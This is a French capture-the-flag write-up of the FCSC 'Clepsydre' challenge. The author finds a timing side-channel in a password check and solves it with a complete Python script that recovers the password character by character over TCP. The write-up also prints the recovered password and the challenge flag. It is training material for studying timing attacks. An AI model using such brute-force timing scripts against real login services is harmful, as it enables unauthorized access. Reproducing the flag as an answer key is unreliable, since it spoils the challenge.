Clepsydre
Points : 173 (Dynamique)
Ă€ l'origine, la clepsydre est un instrument Ă eau qui permet de
définir la durée d'un évènement, la durée d'un discours par
exemple. On contraint la durée de l’évènement au temps de
vidage d'une cuve contenant de l'eau qui s'Ă©coule par un petit
orifice. Dans l'exemple du discours, l'orateur doit s'arrĂŞter
quand le récipient est vide. La durée visualisée par ce moyen
est indépendante d'un débit régulier du liquide ; le récipient
peut avoir n'importe quelle forme. L'instrument n'est donc pas
une horloge hydraulique (Wikipedia).
Service : nc challenges2.france-cybersecurity-challenge.fr 6006
Analyse
Au dĂ©but, je pensais Ă une sorte d’Ă©nigme. Alors, j’ai cherchĂ© et regardĂ© ce qu’Ă©tait un Clespydre sur wikipedia.
Suite à cela, je me suis connecté au challenge où une petite citation est affichée.
[Citation du jour] : "Tout vient Ă point Ă qui sait attendre".
Entrez votre mot de passe :
DĂ©cidemment, ça fait beaucoup d’allusion au mot TEMPS pour ne pas qu’il y ait un rapport.
RĂ©solution ?
J’ai donc dans un premier temps, essayĂ© de me connecter et d’attendre en espĂ©rant que le flag apparaisse…
Ca n’as pas fonctionnĂ©. Cela dit ça aurait Ă©tĂ© beau.
Je me suis ensuite fait une liste de synonyme du mot temps, que j’ai rentrĂ©e avec et sans majuscule Ă la première lettre de chaque mot.
ET bizarrement le mot de passe Temps
m’Ă©tait beaucoup plus de TEMPS Ă ĂŞtre traitĂ© que les autres.
J’ai essayĂ© seulement avec la lettre T
pareil. Je dois donc avoir affaire Ă un Service - Timming attack
.
Récupération du mot de passe
J’ai commencĂ© Ă faire un programme qui rĂ©cupĂ©rera le premier message puis enregistrera une première fois le temps actuel.
Il lancera la requête et récupèrera à nouveau le message envoyé par le serveur.
Ensuite, il pourra calculer le temps de rĂ©ponse qu’il mettra dans une liste et un dictionnaire avec le carcatère associĂ©.
Une fois tous les caractères testĂ©s, il m’affichera celui qui aura mis le plus de temps Ă rĂ©pondre.
Dans ce genre de challenge, je conseille de lancer le script en double et de vĂ©rifier que les valeurs renvoyĂ©es soient les mĂŞmes. Ca Ă©vite de faire tourner le programme pour rien alors qu’un caractère n’est pas bon
Voici le code :
#!/usr/bin/python3
import string
import socket
import time
import sys
#CHAR IN KEY
CHAR = string.printable[:95]
#HOST INFORMATION
HOST = "challenges2.france-cybersecurity-challenge.fr"
PORT = 6006
#function exploit
def exploit(key):
#Var for the time
dict_time = dict()
list_time = list()
#loop in all char
for number in CHAR:
#get the flag
msg = key + number + "\n"
#Create TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20)
#Connect to the server
s.connect((HOST, PORT))
#Recv data
s.recv(1024)
#encode it
msg = msg.encode()
#get the time
time_stamp = time.time()
#send it
s.send(msg)
#Get the response
try:
res = s.recv(1024)
except socket.timeout:
continue
if "FCSC" in res.decode():
print("[+] Flag ? : {0}".format(msg))
print(res.decode())
sys.exit(0)
#get the total time
time_stamp = time.time() - time_stamp
#add the time to dict
dict_time[time_stamp] = number
#add the time to list
list_time.append(time_stamp)
#Close the connection
s.close()
#Get the max time of list_time
#print(list_time)
_max = max(list_time)
#Get the char corresponding of the max time
value = dict_time[_max]
#return them
return value
if __name__ == "__main__":
#r is the key
r = str()
while True:
#Get the all key
r += exploit(r)
print("Key : " + r)
output :
[+] Key : T
[+] Key : T3
[+] Key : T3m
[+] Key : T3mp
[+] Key : T3mp#
[+] Flag ? : b'T3mp#!\n'
FĂ©licitations vous avez su vaincre votre impatience :
FCSC{6bdd5f185a5fda5ae37245d355f757eb0bbe888eea004cda16cf79b2c0d60d32}
flag : FCSC{6bdd5f185a5fda5ae37245d355f757eb0bbe888eea004cda16cf79b2c0d60d32}